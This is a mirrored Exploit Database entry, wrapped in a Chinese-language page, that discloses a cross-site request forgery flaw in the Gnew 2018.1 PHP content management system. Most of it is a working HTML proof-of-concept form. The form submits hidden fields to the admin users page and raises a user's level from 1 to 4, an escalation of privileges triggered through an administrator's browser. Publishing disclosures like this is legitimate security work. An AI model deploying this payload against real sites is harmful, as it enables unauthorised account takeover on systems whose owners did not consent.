Gnew 2018.1 – Cross-Site Request Forgery

• Exploit Database
• 15 阅读

• 作者： Cyril Vallicari
  日期： 2018-01-28
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/43909/

• # Exploit Title: Gnew 2018.1 - Cross-Site Request Forgery
  # Date: 26/01/2018
  # Exploit Author: Cyril Vallicari / HTTPCS - ZIWIT
  # Vendor website : http://gnew.xyz/
  # Software download : http://www.gnew.xyz/pages/download.php
  # Version: 2018.1
  # Tested on: Windows 10 Home x64/ Kali Linux
  
  Product description :
  
  Gnew is a simple content management system (CMS) written in PHP and
  using a database server (MySQL, PostgreSQL or SQLite) for storage. It is
  fully customizable because it uses a system of templates and supports
  multiple languages
  
  Description :
  
  A vulnerability has been discovered in Gnew , which can be exploited by
  malicious people to conduct cross-site request forgery attacks.
  This can be used to get a privilege escalation on the targeted application.
  
  POC :
  
  ------------------------------------ HTML--------------------------------------
  
  <form action="http://Target/gnew/admin/users.php " method="POST">
   <input type="hidden" name="_method" value="POST"/>
   <input type="hidden" name="user_name" value="test2"/>
   <input type="hidden" name="user_level" value="4"/>
   <input type="hidden" name="user_email" value="gnewtest@yopmail.com"/>
   <input type="hidden" name="user_show_email" value="0"/>
  <input type="hidden" name="user_day" value="0"/>
  <input type="hidden" name="user_month" value="0"/>
  <input type="hidden" name="user_month" value="0"/>
   <input type="hidden" name="user_language" value="english"/>
   <input type="hidden" name="user_template" value="clean"/>
   <input type="hidden" name="user_date_format" value="D,+M+jS+Y,+g:i+a"/>
   <input type="hidden" name="user_date_offset" value="0"/>
  <input type="hidden" name="user_avatar" value=""/>
   <input type="hidden" name="user_date_offset" value="0"/>
   <input type="hidden" name="user_avatar"
  value="./../images/avatars/empty.png"/>
   <input type="hidden" name="user_id" value="2"/>
  <input type="hidden" name="user_level_old" value="1"/>
  <input type="hidden" name="user_name_old" value="test2"/>
  <input type="hidden" name="edit_user" value="Éditer"/>
  <input type="submit" value="CSRF This"/></form>
  
  ------------------------------------ HTML END--------------------------------------